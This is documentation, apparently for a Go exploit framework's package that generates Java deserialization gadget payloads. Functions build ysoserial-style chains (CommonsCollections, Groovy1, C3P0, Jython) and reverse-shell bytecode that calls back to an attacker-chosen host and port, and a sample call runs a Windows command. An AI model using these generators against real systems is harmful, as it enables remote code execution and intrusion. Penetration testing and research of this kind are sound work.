Documentation
¶
Overview ¶
The Java analog to the dotnet deserialization generation package.
This allows for the creation of java deserialization payload gadgets in much the same way as we do for the dotnet package. This is done using a number of structs and methods to construct the "records" in accordance with the java spec: https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html#10258
This is not a comprehensive reproduction of the java serialization protocol but only as-needed given what gadgets we have reproduced thus far.
Usage of these gadget generation functions could look like this:
gadget, ok := CreateGroovy1("cmd.exe /c whoami>C:\\temp\\pr00f.txt")
if !ok {
return false
}
// use gadget var...
This is where the logic is defined to construct sound "records" for the Java serialization protocol as defined here: https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html
All fields MUST implement the Field interface. All Content types MUST implement the TCContent interface.
Index ¶
- Variables
- func C3P0ClassCallbackBytecode(baseURL, className string) (string, error)
- func Commons6ModifiedBashCommandBytecode(commandStr string) (string, error)
- func Commons10CommandBytecode(commandStr string) (string, error)
- func CreateBeanutilsReverseShell(lhost string, lport int) string
- func CreateCommonsCollections1(program string, args string) ([]byte, bool)
- func CreateCommonsCollections5(program string, args string) ([]byte, bool)
- func CreateCommonsCollections6(program string, args string) ([]byte, bool)
- func CreateGWT(command string) ([]byte, bool)
- func CreateGroovy1(command string) ([]byte, bool)
- func CreateJythonRunCodeGadget(payload string) string
- func ErrorInvalidCallbackArg(msg string) error
- func ErrorInvalidCommandLength(msg string) error
- func JacksonGenericCommand(cmd string) (string, error)
- func ReverseShellBytecode(conf *config.Config) (string, string)
- func ReverseShellScriptingEngineBytecode(conf *config.Config) (string, string)
- type ArrayBytes
- type ArrayField
- type Field
- type FloatField
- type IntegerField
- type ObjectField
- type TCArray
- type TCBlockData
- type TCClass
- type TCClassDesc
- type TCContent
- type TCEndBlockData
- type TCFloat
- type TCInteger
- type TCNull
- type TCObject
- type TCProxyClassDesc
- type TCReference
- type TCString
Constants ¶
This section is empty.
Variables ¶
var ( StreamMagicCode = [2]byte{0xac, 0xed} StreamVersionCode = []byte{0x00, 0x05} )
var ( TCNullCode byte = 0x70 TCReferenceCode byte = 0x71 TCClassDescCode byte = 0x72 TCObjectCode byte = 0x73 TCStringCode byte = 0x74 TCArrayCode byte = 0x75 TCClassCode byte = 0x76 TCBlockDataCode byte = 0x77 TCEndBlockDataCode byte = 0x78 TCResetCode byte = 0x79 TCBlockDataLongCode byte = 0x7A TCExceptionCode byte = 0x7B TCLongStringCode byte = 0x7C TCProxyClassDescCode byte = 0x7D TCEnumCode byte = 0x7E )
"Terminal Codes", these indicate the "record" type that is about to be defined in the serialization stream. An example from the spec:
newArray: TC_ARRAY classDesc newHandle (int)<size> values[size]
Where classDesc will also use it's own terminal codes depending on classDesc type:
classDesc: newClassDesc nullReference (ClassDesc)prevObject // an object required to be of type ClassDesc newClassDesc: TC_CLASSDESC className serialVersionUID newHandle classDescInfo TC_PROXYCLASSDESC newHandle proxyClassDescInfo
var ( SCWriteMethodCode byte = 0x01 SCBlockDataCode byte = 0x08 SCSerializableCode byte = 0x02 SCExternalizableCode byte = 0x04 SCEnumCode byte = 0x10 )
var ( TypeByteCode byte = 0x42 // B TypeCharCode byte = 0x43 // C TypeDoubleCode byte = 0x44 // D TypeFloatCode byte = 0x46 // F TypeIntegerCode byte = 0x49 // I TypeLongCode byte = 0x4A // J TypeShortCode byte = 0x53 // S TypeBooleanCode byte = 0x5A // Z // OBJECT TYPES. TypeObjectCode byte = 0x4C // L TypeArrayCode byte = 0x5B // [ )
Primitive type definitions, used to define primitive field types. Information from the spec:
primitiveDesc: prim_typecode fieldName prim_typecode: `B' // byte `C' // char `D' // double `F' // float `I' // integer `J' // long `S' // short `Z' // boolean
Functions ¶
func C3P0ClassCallbackBytecode ¶ added in v1.48.0
Load `className` from `baseURL` using `URLClassLoader`.
Generated by ysoserial using the "C3P0" gadget chain with placeholder arguments "<base_url>" and "<classname>".
func Commons6ModifiedBashCommandBytecode ¶ added in v1.40.0
This payload was generated using ysoserial-modified with the CommonsCollections6 gadget and the bash shell arg The benefit of this payload over one generated from the unmodified ysoserial is the you do not need to prepend it with a bash -c, and the spaces do not need to be replaced with $IFS. It also solves redirection issues that are present in unmodified ysoserial payloads. This payload will always run the provided command using bash, hence the name. That said you should not need, nor should you prepend a <shell> -c to commandStr parameter passed here.
func Commons10CommandBytecode ¶ added in v1.40.0
Generated using ysoserial with CommonsCollections10.
func CreateBeanutilsReverseShell ¶
This is a serialized java reverse shell. The gadget was generated by ysoserial but using the code in this pull https://github.com/frohoff/ysoserial/pull/96 and updated to make it easy to swap in the desired lhost+lport of our choosing without having to recreate the gadget.
The gadget works on both Windows and Linux and will automatically detect the platform and tool to use for executing commands (cmd.exe or /bin/bash).
func CreateCommonsCollections1 ¶ added in v1.54.0
Generates the CommonsCollections1 gadget payload.
func CreateCommonsCollections5 ¶ added in v1.54.0
Generates the CommonsCollections5 gadget payload.
func CreateCommonsCollections6 ¶ added in v1.54.0
Generates the CommonsCollections6 gadget payload.
func CreateGWT ¶ added in v1.58.0
Generates a gadget for use in GWT-based deserialization payloads. Encode using EncodeBase64GWT, not enforced here.
func CreateGroovy1 ¶ added in v1.54.0
Generates the Groovy1 gadget payload.
func CreateJythonRunCodeGadget ¶ added in v1.1.0
This function generates a serialized Jython payload that executes arbitrary Python. It's the "runcode" variation of Steven Seeley and Rocco Calvi's Jython2:
https://github.com/frohoff/ysoserial/pull/200/files
The payload can be used like so:
java.CreateJythonRunCodeGadget(payload.UnflattenedSecureReversePython27(conf.Lhost, conf.Lport))
The payload was serialized and tested on Java 11.
func ErrorInvalidCallbackArg ¶ added in v1.48.0
func ErrorInvalidCommandLength ¶ added in v1.39.0
func JacksonGenericCommand ¶ added in v1.49.0
func ReverseShellBytecode ¶ added in v1.8.1
This is the Java bytecode for a reverse shell. You can find the source code here:
https://gist.github.com/j-baines/38eb6d16eed64986a369f7f981f57508
The code checks if the victim is Windows or Linux and uses bash or cmd.exe accordingly. The use case for this is when remotely loading a class (see CVE-2020-7961) or loading a class from a byte string (see CVE-2023-22527).
The bytecode was generated using OpenJDK 1.8.0. The exact method of generation follows:
albinolobster@mournland:/tmp/java$ java -version openjdk version "1.8.0_392" OpenJDK Runtime Environment (build 1.8.0_392-8u392-ga-1~20.04-b08) OpenJDK 64-Bit Server VM (build 25.392-b08, mixed mode) albinolobster@mournland:/tmp/java$ javac ABCDEFG.java albinolobster@mournland:/tmp/java$ ls -l ABCDEFG.class -rw-rw-r-- 1 albinolobster albinolobster 2129 Feb 17 06:08 ABCDEFG.class
This function replaces hardcoded IP address and port in the bytecode and generates a random class name. The return values are (bytecode, classname).
func ReverseShellScriptingEngineBytecode ¶ added in v1.26.0
This is the Java bytecode for a reverse shell. You can find the source code here:
https://gist.github.com/j-shomo/053031f2ee9ba7f29fca2305c6ea8c6a
The code checks if the victim is Windows or Linux and uses bash or cmd.exe accordingly. The use case for this is when remotely loading a class via ScriptEngineManager calling URLClassLoader (see CVE-2024-37084)
The bytecode was generated using OpenJDK 1.8.0. The exact method of generation follows:
parallels@ubuntu-linux-22-04-02-desktop:~/Downloads$ java -version openjdk version "1.8.0_422" OpenJDK Runtime Environment (build 1.8.0_422-8u422-b05-1~22.04-b05) OpenJDK 64-Bit Server VM (build 25.422-b05, mixed mode) parallels@ubuntu-linux-22-04-02-desktop:~/Downloads$ javac Reverse.java parallels@ubuntu-linux-22-04-02-desktop:~/Downloads$ ls -l Reverse.class -rw-rw-r-- 1 parallels parallels 3124 Sep 20 12:58 Reverse.class
This function replaces hardcoded IP address and port in the bytecode and generates a random class name. The return values are (bytecode, classname).
Types ¶
type ArrayBytes ¶ added in v1.58.0
type ArrayBytes struct {
Data []byte
}
func (ArrayBytes) ToBytes ¶ added in v1.58.0
func (arrayBytes ArrayBytes) ToBytes() ([]byte, bool)
type ArrayField ¶ added in v1.54.0
func (ArrayField) ToFieldBin ¶ added in v1.54.0
func (arrayField ArrayField) ToFieldBin() ([]byte, bool)
type FloatField ¶ added in v1.54.0
type FloatField struct {
Name string
}
func (FloatField) ToFieldBin ¶ added in v1.54.0
func (floatField FloatField) ToFieldBin() ([]byte, bool)
type IntegerField ¶ added in v1.54.0
type IntegerField struct {
Name string
}
func (IntegerField) ToFieldBin ¶ added in v1.54.0
func (integerField IntegerField) ToFieldBin() ([]byte, bool)
type ObjectField ¶ added in v1.54.0
func (ObjectField) ToFieldBin ¶ added in v1.54.0
func (objectField ObjectField) ToFieldBin() ([]byte, bool)
type TCBlockData ¶ added in v1.54.0
func (TCBlockData) ToBytes ¶ added in v1.54.0
func (tcBlockData TCBlockData) ToBytes() ([]byte, bool)
type TCClassDesc ¶ added in v1.54.0
type TCClassDesc struct {
Name string
SerialVersionUID []byte // Should be 8 bytes
Flags byte
Fields []Field
SuperClassDesc TCContent
}
func (TCClassDesc) ToBytes ¶ added in v1.54.0
func (tcClassDesc TCClassDesc) ToBytes() ([]byte, bool)
type TCContent ¶ added in v1.54.0
Any java serialization record that can may be contained within a TCContent struct must implement this interface.
type TCEndBlockData ¶ added in v1.54.0
type TCEndBlockData struct{}
func (TCEndBlockData) ToBytes ¶ added in v1.54.0
func (tcEndBlockData TCEndBlockData) ToBytes() ([]byte, bool)
type TCProxyClassDesc ¶ added in v1.54.0
type TCProxyClassDesc struct {
InfoContent TCContent
TCContents []TCContent
Interfaces []string
SuperClassDesc TCClassDesc
}
func (TCProxyClassDesc) ToBytes ¶ added in v1.54.0
func (tcProxyClassDesc TCProxyClassDesc) ToBytes() ([]byte, bool)
type TCReference ¶ added in v1.54.0
type TCReference struct {
Handler []byte
}
func (TCReference) ToBytes ¶ added in v1.54.0
func (tcReference TCReference) ToBytes() ([]byte, bool)